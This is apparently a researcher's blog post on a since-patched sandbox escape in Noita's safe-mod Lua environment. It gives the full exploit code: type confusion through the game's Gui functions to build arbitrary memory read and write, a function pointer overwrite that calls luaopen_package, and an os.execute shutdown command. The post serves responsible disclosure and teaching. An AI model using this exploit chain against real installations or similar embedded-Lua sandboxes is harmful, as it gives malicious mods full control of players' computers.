Finding a Vulnerability in Noita

A while back I was reversing Noita using Ghidra and happened upon some weird looking functions. They seemed like perfect candidates for doing arbitrary memory reads/writes that could then be used for privilege escalation. I played around with them for a bit to confirm the suspicions I had, but gave up on making a working exploit because of some hurdles I ran into.

But like sometimes happens, I couldn't get the idea of making a working exploit out of my head so I eventually revisited it.

Background Info

Noita has official modding support allowing people to create a couple different kind of mods. For this post to make sense you need to know about safe mods and unsafe mods.

Safe Mods

A lot of Noita's content is implemented in Lua which the scripting language that's also used for mods. Lua is a great choice for this kind of stuff because it's designed for embedding inside of other programs.

The environment in which the Lua code runs is determined by the host program. The host can define custom functions that make sense for its domain and Lua also comes with a bunch of standard libraries. Ultimately, the host program decides what should and shouldn't be available. Take for instance the standard function os.execute. This can be used to run arbitrary programs, but we probably don't want mods to be able to do that.

With os.execute, mods can steal your passwords and personal information, install keyloggers, and turn off your computer. People generally find these things unpleasant which is why we have safe mods. With safe mode, we don't worry about if the mod maker is malicious, since the mod runs in a Lua environment stripped of anything that could pose a risk.

Unsafe Mods

Safe mods are great, but what if we have a reason to do something unusual? Let's say I want to share something that's happening in the game over the internet with other people? That could be fun and interesting, but the game can't tell whether the mod is sharing how many enemies you defeated or your credit card info.

This is why there is unsafe mode. It'd be cool if these things were possible, but it shouldn't be available by default. Before a user can enable an unsafe mod they must toggle a setting that explains the risks. This way, hopefully, the user understands the risks and considers whether they trust the mod author before enabling an unsafe mod.

Noita user interface saying "Enabling unsafe mods gives all installed mods full
access to your computer. Are you sure?"

Unsafe mods also can't be shared through the Steam Workshop. This naturally discourages you from using unsafe mode unless it's absolutely required since not as many people will see and download your mod

I really appreciate that the developers created a safe and unsafe mode. They wanted to make using mods safe but still gave us a way to do cool things that wouldn't be possible without unsafe mode.

What If?

Alright, great! but... what if we can break these rules? Well, we can (or rather could).

Unsafe mods require caution but safe mods should be usable without any concern, but in reality with some carefully crafted code we can remove the restrictions of safe mode.

Overview

The exploit is based around Noita's Gui* functions, these functions are supposed to only accept values created via GuiCreate() these are lightuserdata values which are simply pointers to some internal GuiContext structure.

But to turn the gui context argument back into a pointer Noita uses the lua_topointer function, here's the documentation for that function:

const void *lua_topointer (lua_State *L, int index);

Converts the value at the given acceptable index to a generic C pointer (void*). The value can be a userdata, a table, a thread, or a function; otherwise, lua_topointer returns NULL. Different objects will give different pointers. There is no way to convert the pointer back to its original value.

Typically this function is used only for debug information.

Now that's interesting, lua_topointer doesn't just accept userdata values, we can also pass in tables and other things.. If we can use this to write into LuaJIT data structures then we can make an exploit!

Exploit

Since we're going to write and read from memory we need to deal with binary data somehow. Lua 5.1 has a single number type which is a double width floating point number. There's no clear mapping between the number's bits and its floating point value but this is the best way to place our desired binary numbers into memory.

While there's no clear mapping, it is possible to place specific bits in memory. Playing around with float.exposed helped a lot here.

-- This function takes a floating point value, and turns it into a floating
-- point value whose binary representation matches the first floating point
-- value.
--
-- For instance, the floating point number (A) 305419896.0 (hex 0x12345680) is encoded like this: 0x4d91a2b4
-- The floating point number (B) 5.69046046576341273665e-28 is encoded like this: 0x12345680
--
-- The function takes the number A and turns it into the number B.
--
-- This is used to place specific binary values into memory.
function as_float(number)
    local sign = bit.band(0x80000000, number) == 0 and 1 or - 1
    local exp_ = bit.rshift(bit.band(0x7f800000, number), 23)
    local sig = bit.band(0x7fffff, number)

    local leading = exp_ == 0 and 0 or 1
    local exponent = exp_ == 0 and -126 or exp_ - 127

    return sign * (leading + sig / 0x800000) * 2^exponent
end

-- Reverse of as_float.
function as_u32(number, debug)
    local absnum = math.abs(number)
    local sig, exp = math.frexp(absnum)
    local sign = number >= 0 and 1 or -1
    exp = exp - 1

    if exp < -126 then
        sig = sig / 2 ^ (-127 - exp)
        sig = sig * 0x800000
        exp = -127
    else
        sig = (sig * 2 - 1) * 0x800000
    end

    local ret = 0
    ret = bit.bor(ret, bit.lshift(bit.band(exp + 127, 0xff), 23))
    ret = bit.bor(ret, bit.band(sig, 0x7fffff))

    if sign == -1 then
        ret = ret + 0x80000000
    end

    return ret
end

These function can't deal with all number (e.g. NaNs) but it's good enough.

LuaJIT's stringify function can give us the addresses of tables and functions, we'll need that later on so we define some utility functions.

-- Given a function, return the address in its string representation
-- (e.g. f -> "function: 0x2ac3a150" -> 0x2ac3a150)
function funaddr(f)
    return tonumber(tostring(f):sub(13), 16)
end

-- t -> "table: 0x2af18f88" -> 0x2af18f88
function tabaddr(t)
    return tonumber(tostring(t):sub(10), 16)
end

-- Offsets to interesting parts of LuaJIT internal structures.
local tab_sz = 40
local fun_sz = 20

Now for the fun part. We now start misusing the Gui functions to construct new lightuserdata values.

LuaJIT will place table elements straight after the table if there aren't too many elements. With this fact, and by finding a function that writes far enough into what's supposed to be the GuiContext, we can construct new lightuserdata values.

The only function I could get to work was GuiColorSetForNextWidget since no other function writes far enough. This function also clobbers some other internal fields of the Lua table, but we only need to call it once to make it possible to use a more surgical memory writing function.

-- The lightuserdata value that we write into to create new memory addresses.
local lud = GuiCreate()GuiDestroy(lud)

-- Corruption is done by writing into a GCTab's colocated array part.
-- See LuaJIT src/lj_tab.c:newtab
local w = {lud}

-- I was only able to start the exploit using GuiColorSetForNextWidget but that
-- clobbers some of the fields at the end of the GCTab struct.  To avoid
-- instability this is used only once to setup a more reliable arbitrary write
-- gadget with GuiZSet.
function get_w_writer()
    local to = {lud}
    GuiColorSetForNextWidget(to, 0, 0, 0, as_float(tabaddr(w) + tab_sz - 0x2c))
    return to[1]
end

-- We can now use t with GuiZSet to create arbitrary lightuserdata values in the
-- w table.
local t = get_w_writer()

The lightuserdata value created in get_w_writer() is offset by -0x2c from w, this is the difference of how far GuiZSet writes and the offset from which the colocated table elements are located from the start of the table structure.

We now have everything setup for our next utilities.

-- Construct pointer with proper offset for use with GuiZSet writing.
function get_write_ptr(ptr)
    return get_ptr(ptr - 0x2c)
end

-- Construct pointer with proper offset for use with GuiGetPreviousWidgetInfo reading.
function get_read_ptr(ptr)
    return get_ptr(ptr - 0x5c)
end

-- Helper function for construction the lightuserdata values (pointers).
function get_ptr(ptr)
    GuiZSet(t, as_float(ptr))
    return w[1]
end

-- Helper function to write `value` into `ptr`.
function write_value(ptr, value)
    local real_ptr = get_write_ptr(ptr)
    GuiZSet(real_ptr, as_float(value))
end

-- Helper function to read from `ptr`.
function read_value(ptr)
    local real_ptr = get_read_ptr(ptr)
    local _, _, _, result = GuiGetPreviousWidgetInfo(real_ptr)
    return as_u32(result)
end

Constructing new lightuserdata values is done by writing into the w array using GuiZSet and then simply retrieving new the value. Once we have a lightuserdata object we use that to read or write from memory.

We can write values using GuiZSet and read them using GuiGetPreviousWidgetInfo these functions do their reads/writes from different pointer offsets but that's easy enough to deal with.

We want to gain full unrestricted Lua access, to do that we need to call the luaopen_package Lua C function somehow. So far we've been writing into tables but for the final part of this exploit we redirect an existing C function binding in the Lua context.

Since Noita doesn't call luaopen_package there's no IAT entry for it but we can rely on the fact that this function is a certain distance away from another function in the LuaJIT DLL that Noita does call.

-- We want the luaopen_package function but we can't easily get a pointer to that
-- function because it's never called by Noita itself. Instead, we get a pointer
-- to luaopen_string and use the fact that the luaopen_package function is a certain
-- distance away from this function.
local luaopen_string = read_value(0x00d1e788)
local luaopen_package = luaopen_string - 5712

-- We're corrupting an existing GCfuncC struct. We do this to a function that is
-- normally useless.
local target = funaddr(SetPlayerSpawnLocation) + fun_sz

-- Turn SetPlayerSpawnLocation into luaopen_package.
-- Writing to GCfuncC.f (See LuaJIT src/lj_obj.h:GCfuncC)
write_value(target, luaopen_package)

-- SetPlayerSpawnLocation is now actually luaopen_package. Wheeeee!
SetPlayerSpawnLocation()

-- We can now use package.loadlib to load anything we want.
local ffi = package.loadlib("lua51.dll", "luaopen_ffi")()
local os = package.loadlib("lua51.dll", "luaopen_os")()

-- TODO: Evil stuff
os.execute("shutdown /s /t 0")

And that's it. We redirect an existing function to luaopen_package, call it, and from that point on we can use the package.* module from Lua like normal. Once we have that we can load any module like os or ffi. Pretty cool, right?

Closing thoughts

I reported this security vulnerability on the 18th of February 2023 and didn't really expect anything to be done with it. Noita hadn't seen an update since April of 2021 and would the devs find this important enough to come back and fix it?

Apparently the answer is yes! And they also took this "opportunity" to fix some of the bugs that the community had been running into. I'm very grateful that the devs did this, and am proud that I, in a way, contributed to this.

Screenshot of the 28th of February 2023 release notes where the last line is
BUGFIX: "Fixed a security vulnerability in the modding API (Thank you Dexter Castor Döpping)"